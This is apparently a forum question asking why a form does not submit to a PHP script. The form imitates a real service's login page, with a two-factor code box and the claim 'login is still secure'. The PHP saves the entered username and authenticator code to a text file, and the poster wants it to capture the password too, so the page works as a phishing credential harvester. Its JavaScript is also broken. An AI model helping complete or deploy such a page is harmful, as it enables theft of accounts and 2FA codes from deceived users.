title: Problems with submitting a form into a php script
body: <p>So I have this form. The way I have it now is that the user will enter their username and password, and then click sign in, (the authentication pin is hidden) until the sign in button is clicked on which the div is shown and the user is to enter their verification pin. The problem I am having is no matter what I submit into the text boxes, nothing gets submitted into my php script which I have here :</p>
  
  <pre><code>&lt;?php
  $myfile = fopen("newfile_" . uniqid() . ".txt", "w") or die("...");
  $txt = $_POST['username'] . ':' . $_POST['authcode'];
  fwrite($myfile, $txt);
  fclose($myfile);
  echo "LOREM IPSUM:("; 
  ?&gt;
  
  &lt;!DOCTYPE html&gt;
      &lt;form action="/loginaction.php" method="post" name="submit"&gt;
      &lt;input class="btn_green_white_innerfade btn_medium" type="button" name="submit" id="userLogin" value="Sign in" width="104" height="25" border="0" tabindex="5" onclick="showDiv();"&gt;
              &lt;div class="mainLoginLeftPanel_signin"&gt;
                  &lt;label for="userAccountName"&gt;username&lt;/label&gt;&lt;br&gt;
                  &lt;input class="textField" type="text" name="username" id="userAccountName" maxlength="64" tabindex="1" value="username"&gt;&lt;br&gt;&amp;nbsp;&lt;br&gt;
                  &lt;label for="userPassword"&gt;Password&lt;/label&gt;&lt;br&gt;
                  &lt;input value="password" class="textField" type="password" name="password" id="userPassword" autocomplete="off" maxlength="64" tabindex="2"&gt;&lt;br&gt;
                  &lt;div id="passwordclearlabel" style="text-align: left; display: none;"&gt;It seems that you may be having trouble entering your password. We will now show your password in plain text (login is still secure).&lt;/div&gt;
                  &lt;div class="checkboxContainer"&gt;
                  &lt;div class="checkboxRow" title="If you select this option, we will automatically log you in on future visits for up to 30 days, or until you select &amp;quot;Logout&amp;quot; from the account menu.  This feature is only available to PIN Guard enabled accounts."&gt;
                  &lt;input class="" type="checkbox" name="remember_login" id="remember_login" tabindex="4"&gt;&lt;label for="remember_login"&gt;Remember me on this computer&lt;/label&gt;&lt;br&gt;
                      &lt;/div&gt;
                  &lt;/div&gt;
              &lt;/div&gt;
  
      &lt;div class="modal_buttons" id="login_twofactorauth_buttonsets"&gt; 
          &lt;div class="auth_buttonset" id="login_twofactorauth_buttonset_entercode" style=""&gt;
              &lt;button type="submit" class="auth_button leftbtn" data-modalstate="submit" onsubmit="submitForms();"&gt;
  
                  &lt;div class="auth_button_h3"&gt;submit&lt;/div&gt;
                  &lt;div class="auth_button_h5"&gt;my authenticator code&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;
  
          &lt;div class="twofactorauthcode_entry_area"&gt;
          &lt;div id="login_twofactor_authcode_entry"&gt;
              &lt;div class="twofactorauthcode_entry_box"&gt;
                  &lt;input name="authcode" class="twofactorauthcode_entry_input authcode_placeholder" id="twofactorcode_entry" type="text" placeholder="enter your code here" autocomplete="off"/&gt;
              &lt;/div&gt;
          &lt;/div&gt;
          &lt;div id="login_twofactor_authcode_help_supportlink" style="display: none;"&gt;
              &lt;a href="#"&gt;
                  Contact  Support for help with account access               &lt;/a&gt;
          &lt;/div&gt;
      &lt;/div&gt;
  
      &lt;/form&gt;
  &lt;/head&gt;
  </code></pre>
  
  <p></p>
  
  <p>The form names are both entered correctly and I have the action set to the correct script however when I check the text file that is generated there is no input. I would like the button that submits the verification pin to submit the form of all 3 details (user,pass,authcode) and the sign in button to just unhide the verification div(which is working fine). Any help would be appreciated.</p>
  
  <p>The javascript function to submit the forms is</p>
  
  <pre><code>&lt;script type="text/javascript"&gt;
  function() submitForms{
  document.getElementById("submit").submit();
  document.getElementById("submit").action = "/loginaction.php";
  }
  </code></pre>
  
  <p><a href="https://jsfiddle.net/jxd0g2z4/" rel="nofollow noreferrer">https://jsfiddle.net/jxd0g2z4/</a></p>